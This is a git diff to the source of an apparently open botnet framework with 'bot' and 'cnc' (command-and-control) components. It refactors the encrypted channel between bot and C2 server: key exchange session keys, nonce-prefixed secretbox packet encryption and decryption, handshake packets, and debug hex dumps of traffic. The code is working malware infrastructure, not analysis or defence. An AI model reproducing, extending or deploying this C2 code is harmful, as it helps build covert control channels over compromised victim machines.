diff --git a/bot/src/bot.c b/bot/src/bot.c index 2ebdeab..c99d838 100644 --- a/bot/src/bot.c +++ b/bot/src/bot.c @@ -67,15 +67,15 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) { laikaP_addSock(&bot->pList, sock); /* queue handshake request */ - laikaS_startOutPacket(sock, LAIKAPKT_HANDSHAKE_REQ); + laikaS_startOutPacket(bot->peer, LAIKAPKT_HANDSHAKE_REQ); laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN); laikaS_writeByte(sock, LAIKA_VERSION_MAJOR); laikaS_writeByte(sock, LAIKA_VERSION_MINOR); laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */ - laikaS_endOutPacket(sock); /* force packet body to be plaintext */ - laikaS_setSecure(sock, true); /* after the cnc receives our handshake, our packets will be encrypted */ + laikaS_endOutPacket(bot->peer); /* force packet body to be plaintext */ + laikaS_setSecure(bot->peer, true); /* after the cnc receives our handshake, our packets will be encrypted */ - if (crypto_kx_client_session_keys(bot->peer->sock.inKey, bot->peer->sock.outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0) + if (crypto_kx_client_session_keys(bot->peer->inKey, bot->peer->outKey, bot->pub, bot->priv, bot->peer->peerPub) != 0) LAIKA_ERROR("failed to gen session key!\n") if (!laikaS_handlePeerOut(bot->peer)) diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index 3a373e9..92c0ec1 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -28,16 +28,16 @@ void handleHandshakeRequest(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void *uD laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub)); /* gen session keys */ - if (crypto_kx_server_session_keys(peer->sock.inKey, peer->sock.outKey, cnc->pub, cnc->priv, peer->peerPub) != 0) + if (crypto_kx_server_session_keys(peer->inKey, peer->outKey, cnc->pub, cnc->priv, peer->peerPub) != 0) LAIKA_ERROR("failed to gen session key!\n") /* encrypt all future packets */ - laikaS_setSecure(&peer->sock, true); + laikaS_setSecure(peer, true); /* queue response */ - laikaS_startOutPacket(&peer->sock, LAIKAPKT_HANDSHAKE_RES); + laikaS_startOutPacket(peer, LAIKAPKT_HANDSHAKE_RES); laikaS_writeByte(&peer->sock, laikaS_isBigEndian()); - laikaS_endOutPacket(&peer->sock); + laikaS_endOutPacket(peer); LAIKA_DEBUG("accepted handshake from peer %lx\n", peer); } diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h index b809eb1..f50f457 100644 --- a/lib/include/lpacket.h +++ b/lib/include/lpacket.h @@ -27,7 +27,7 @@ enum { /* layout of LAIKAPKT_HANDSHAKE_RES: * uint8_t endian; */ - //LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, + LAIKAPKT_AUTHENTICATED_HANDSHAKE_REQ, /* layout of LAIKAPKT_STAGE2_HANDSHAKE_REQ * uint8_t peerType; */ diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h index 2da7808..6f3f73e 100644 --- a/lib/include/lpeer.h +++ b/lib/include/lpeer.h @@ -20,6 +20,7 @@ typedef void (*PeerPktHandler)(struct sLaika_peer *peer, LAIKAPKT_SIZE sz, void struct sLaika_peer { struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */ uint8_t peerPub[crypto_kx_PUBLICKEYBYTES]; /* connected peer's public key */ + uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; struct sLaika_pollList *pList; /* pollList we're active in */ PeerPktHandler *handlers; LAIKAPKT_SIZE *pktSizeTable; /* const table to pull pkt size data from */ @@ -27,12 +28,20 @@ struct sLaika_peer { LAIKAPKT_SIZE pktSize; /* current pkt size */ LAIKAPKT_ID pktID; /* current pkt ID */ PEERTYPE type; + int outStart; /* index of pktID for out packet */ + int inStart; /* index of pktID for in packet */ bool setPollOut; /* is EPOLLOUT/POLLOUT is set on sock's pollfd ? */ + bool useSecure; /* if true, peer will transmit/receive encrypted data using inKey & outKey */ }; struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData); void laikaS_freePeer(struct sLaika_peer *peer); +void laikaS_setSecure(struct sLaika_peer *peer, bool flag); +void laikaS_startOutPacket(struct sLaika_peer *peer, uint8_t id); +int laikaS_endOutPacket(struct sLaika_peer *peer); +void laikaS_startInPacket(struct sLaika_peer *peer); +int laikaS_endInPacket(struct sLaika_peer *peer); bool laikaS_handlePeerIn(struct sLaika_peer *peer); bool laikaS_handlePeerOut(struct sLaika_peer *peer); diff --git a/lib/include/lsocket.h b/lib/include/lsocket.h index d1eff37..5e8bced 100644 --- a/lib/include/lsocket.h +++ b/lib/include/lsocket.h @@ -63,16 +63,12 @@ typedef enum { struct sLaika_socket { uint8_t *outBuf; /* raw data to be sent() */ uint8_t *inBuf; /* raw data we recv()'d */ - uint8_t inKey[crypto_kx_SESSIONKEYBYTES], outKey[crypto_kx_SESSIONKEYBYTES]; SOCKET sock; /* raw socket fd */ int outCount; int inCount; int outCap; int inCap; - int outStart; /* index of pktID for out packet */ - int inStart; /* index of pktID for in packet */ bool flipEndian; - bool useSecure; /* if true, sock will transmit/receive encrypted data using inKey & outKey */ }; #define laikaS_isAlive(arg) (arg->sock != INVALID_SOCKET) @@ -90,11 +86,6 @@ void laikaS_bind(struct sLaika_socket *sock, uint16_t port); /* bind sock to por void laikaS_acceptFrom(struct sLaika_socket *sock, struct sLaika_socket *from); bool laikaS_setNonBlock(struct sLaika_socket *sock); -void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id); -int laikaS_endOutPacket(struct sLaika_socket *sock); -void laikaS_startInPacket(struct sLaika_socket *sock); -int laikaS_endInPacket(struct sLaika_socket *sock); -void laikaS_setSecure(struct sLaika_socket *sock, bool flag); void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz); /* reads from inBuf */ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz); /* writes to outBuf */ void laikaS_writeKeyEncrypt(struct sLaika_socket *sock, void *buf, size_t sz, uint8_t *pub); /* encrypts & writes from buf using pub key */ diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c index 5115348..b7c88a1 100644 --- a/lib/src/lpeer.c +++ b/lib/src/lpeer.c @@ -14,6 +14,9 @@ struct sLaika_peer *laikaS_newPeer(PeerPktHandler *handlers, LAIKAPKT_SIZE *pktS peer->type = PEER_UNVERIFIED; peer->pktID = LAIKAPKT_MAXNONE; peer->setPollOut = false; + peer->outStart = -1; + peer->inStart = -1; + peer->useSecure = false; return peer; } @@ -22,6 +25,88 @@ void laikaS_freePeer(struct sLaika_peer *peer) { laikaM_free(peer); } +void laikaS_startOutPacket(struct sLaika_peer *peer, uint8_t id) { + struct sLaika_socket *sock = &peer->sock; + + if (peer->outStart != -1) { /* sanity check */ + LAIKA_ERROR("unended OUT packet!\n") + } + laikaS_writeByte(sock, id); + + peer->outStart = sock->outCount; + if (peer->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */ + uint8_t nonce[crypto_secretbox_NONCEBYTES]; + randombytes_buf(nonce, crypto_secretbox_NONCEBYTES); + laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES); + } +} + +int laikaS_endOutPacket(struct sLaika_peer *peer) { + struct sLaika_socket *sock = &peer->sock; + uint8_t *body; + size_t sz; + + if (peer->useSecure) { + /* make sure we have enough space */ + laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap); + + /* packet body starts after the id & nonce */ + body = &sock->outBuf[peer->outStart + crypto_secretbox_NONCEBYTES]; + /* encrypt packet body in-place */ + if (crypto_secretbox_easy(body, body, (sock->outCount - peer->outStart) - crypto_secretbox_NONCEBYTES, + &sock->outBuf[peer->outStart], peer->outKey) != 0) { + LAIKA_ERROR("Failed to encrypt packet!\n") + } + + sock->outCount += crypto_secretbox_MACBYTES; + } + + sz = sock->outCount - peer->outStart; + peer->outStart = -1; + return sz; +} + +void laikaS_startInPacket(struct sLaika_peer *peer) { + struct sLaika_socket *sock = &peer->sock; + + if (peer->inStart != -1) { /* sanity check */ + LAIKA_ERROR("unended IN packet!\n") + } + + peer->inStart = sock->inCount; +} + +int laikaS_endInPacket(struct sLaika_peer *peer) { + struct sLaika_socket *sock = &peer->sock; + uint8_t *body; + size_t sz = sock->inCount - peer->inStart; + + if (peer->useSecure) { + body = &sock->inBuf[peer->inStart + crypto_secretbox_NONCEBYTES]; + + /* decrypt packet body in-place */ + if (crypto_secretbox_open_easy(body, body, (sock->inCount - peer->inStart) - crypto_secretbox_NONCEBYTES, + &sock->inBuf[peer->inStart], peer->inKey) != 0) { + LAIKA_ERROR("Failed to decrypt packet!\n") + } + + /* decrypted message is smaller now */ + sock->inCount -= crypto_secretbox_MACBYTES; + + /* remove nonce */ + laikaM_rmvarray(sock->inBuf, sock->inCount, peer->inStart, crypto_secretbox_NONCEBYTES); + + sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES; + } + + peer->inStart = -1; + return sz; +} + +void laikaS_setSecure(struct sLaika_peer *peer, bool flag) { + peer->useSecure = flag; +} + bool laikaS_handlePeerIn(struct sLaika_peer *peer) { RAWSOCKCODE err; int recvd; @@ -32,8 +117,9 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { if (laikaS_rawRecv(&peer->sock, sizeof(uint8_t), &recvd) != RAWSOCK_OK) return false; + /* read packet ID & mark start of packet */ peer->pktID = laikaS_readByte(&peer->sock); - laikaS_startInPacket(&peer->sock); + laikaS_startInPacket(peer); /* sanity check packet ID */ if (peer->pktID >= LAIKAPKT_MAXNONE) @@ -45,7 +131,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { LAIKA_ERROR("unsupported packet!\n") /* if we're encrypting/decrypting all packets, make sure to make the packetsize reflect this */ - if (peer->sock.useSecure) + if (peer->useSecure) peer->pktSize += crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES; break; @@ -78,7 +164,7 @@ bool laikaS_handlePeerIn(struct sLaika_peer *peer) { /* have we received the full packet? */ if (peer->pktSize == peer->sock.inCount) { PeerPktHandler hndlr = peer->handlers[peer->pktID]; - peer->pktSize = laikaS_endInPacket(&peer->sock); + peer->pktSize = laikaS_endInPacket(peer); if (hndlr != NULL) { hndlr(peer, peer->pktSize, peer->uData); /* dispatch to packet handler */ diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c index abb51ee..c21a4a9 100644 --- a/lib/src/lsocket.c +++ b/lib/src/lsocket.c @@ -47,10 +47,7 @@ void laikaS_initSocket(struct sLaika_socket *sock) { sock->outBuf = NULL; sock->outCap = ARRAY_START; sock->outCount = 0; - sock->inStart = -1; - sock->outStart = -1; sock->flipEndian = false; - sock->useSecure = false; laikaS_init(); } @@ -175,82 +172,6 @@ bool laikaS_setNonBlock(struct sLaika_socket *sock) { return true; } -void laikaS_startOutPacket(struct sLaika_socket *sock, uint8_t id) { - if (sock->outStart != -1) { /* sanity check */ - LAIKA_ERROR("unended OUT packet!\n") - } - laikaS_writeByte(sock, id); - - sock->outStart = sock->outCount; - if (sock->useSecure) { /* if we're encrypting this packet, append the nonce right after the packet ID */ - uint8_t nonce[crypto_secretbox_NONCEBYTES]; - randombytes_buf(nonce, crypto_secretbox_NONCEBYTES); - laikaS_write(sock, nonce, crypto_secretbox_NONCEBYTES); - } -} - -int laikaS_endOutPacket(struct sLaika_socket *sock) { - uint8_t *body; - size_t sz; - - if (sock->useSecure) { - /* make sure we have enough space */ - laikaM_growarray(uint8_t, sock->outBuf, crypto_secretbox_MACBYTES, sock->outCount, sock->outCap); - - /* packet body starts after the id & nonce */ - body = &sock->outBuf[sock->outStart + crypto_secretbox_NONCEBYTES]; - /* encrypt packet body in-place */ - if (crypto_secretbox_easy(body, body, (sock->outCount - sock->outStart) - crypto_secretbox_NONCEBYTES, - &sock->outBuf[sock->outStart], sock->outKey) != 0) { - LAIKA_ERROR("Failed to encrypt packet!\n") - } - - sock->outCount += crypto_secretbox_MACBYTES; - } - - sz = sock->outCount - sock->outStart; - sock->outStart = -1; - return sz; -} - -void laikaS_startInPacket(struct sLaika_socket *sock) { - if (sock->inStart != -1) { /* sanity check */ - LAIKA_ERROR("unended IN packet!\n") - } - - sock->inStart = sock->inCount; -} - -int laikaS_endInPacket(struct sLaika_socket *sock) { - uint8_t *body; - size_t sz = sock->inCount - sock->inStart; - - if (sock->useSecure) { - body = &sock->inBuf[sock->inStart + crypto_secretbox_NONCEBYTES]; - - /* decrypt packet body in-place */ - if (crypto_secretbox_open_easy(body, body, (sock->inCount - sock->inStart) - crypto_secretbox_NONCEBYTES, - &sock->inBuf[sock->inStart], sock->inKey) != 0) { - LAIKA_ERROR("Failed to decrypt packet!\n") - } - - /* decrypted message is smaller now */ - sock->inCount -= crypto_secretbox_MACBYTES; - - /* remove nonce */ - laikaM_rmvarray(sock->inBuf, sock->inCount, sock->inStart, crypto_secretbox_NONCEBYTES); - - sz -= crypto_secretbox_MACBYTES + crypto_secretbox_NONCEBYTES; - } - - sock->inStart = -1; - return sz; -} - -void laikaS_setSecure(struct sLaika_socket *sock, bool flag) { - sock->useSecure = flag; -} - void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) { memcpy(buf, sock->inBuf, sz); laikaM_rmvarray(sock->inBuf, sock->inCount, 0, sz); @@ -348,10 +269,24 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed /* if the socket closed or an error occurred, return the error result */ errCode = RAWSOCK_ERROR; } else if (rcvd > 0) { +#ifdef DEBUG + /* for debugging */ + int i; + printf("---recv'd %d bytes---\n", rcvd); + for (i = 1; i <= rcvd; i++) { + printf("%.2x ", sock->inBuf[sock->inCount + (i-1)]); + if (i % 16 == 0) { + printf("\n"); + } else if (i % 8 == 0) { + printf("\t"); + } + } + printf("\n"); +#endif + /* recv() worked, add rcvd to inCount */ sock->inCount += rcvd; } - *processed = rcvd; return errCode; } @@ -389,6 +324,21 @@ RAWSOCKCODE laikaS_rawSend(struct sLaika_socket *sock, size_t sz, int *processed } while((sentBytes += sent) < sz); _rawWriteExit: +#ifdef DEBUG + /* for debugging */ + int i; + printf("---sent %d bytes---\n", sent); + for (i = 1; i <= sentBytes; i++) { + printf("%.2x ", sock->outBuf[i-1]); + if (i % 16 == 0) { + printf("\n"); + } else if (i % 8 == 0) { + printf("\t"); + } + } + printf("\n"); +#endif + /* trim sent data from outBuf */ laikaM_rmvarray(sock->outBuf, sock->outCount, 0, sentBytes);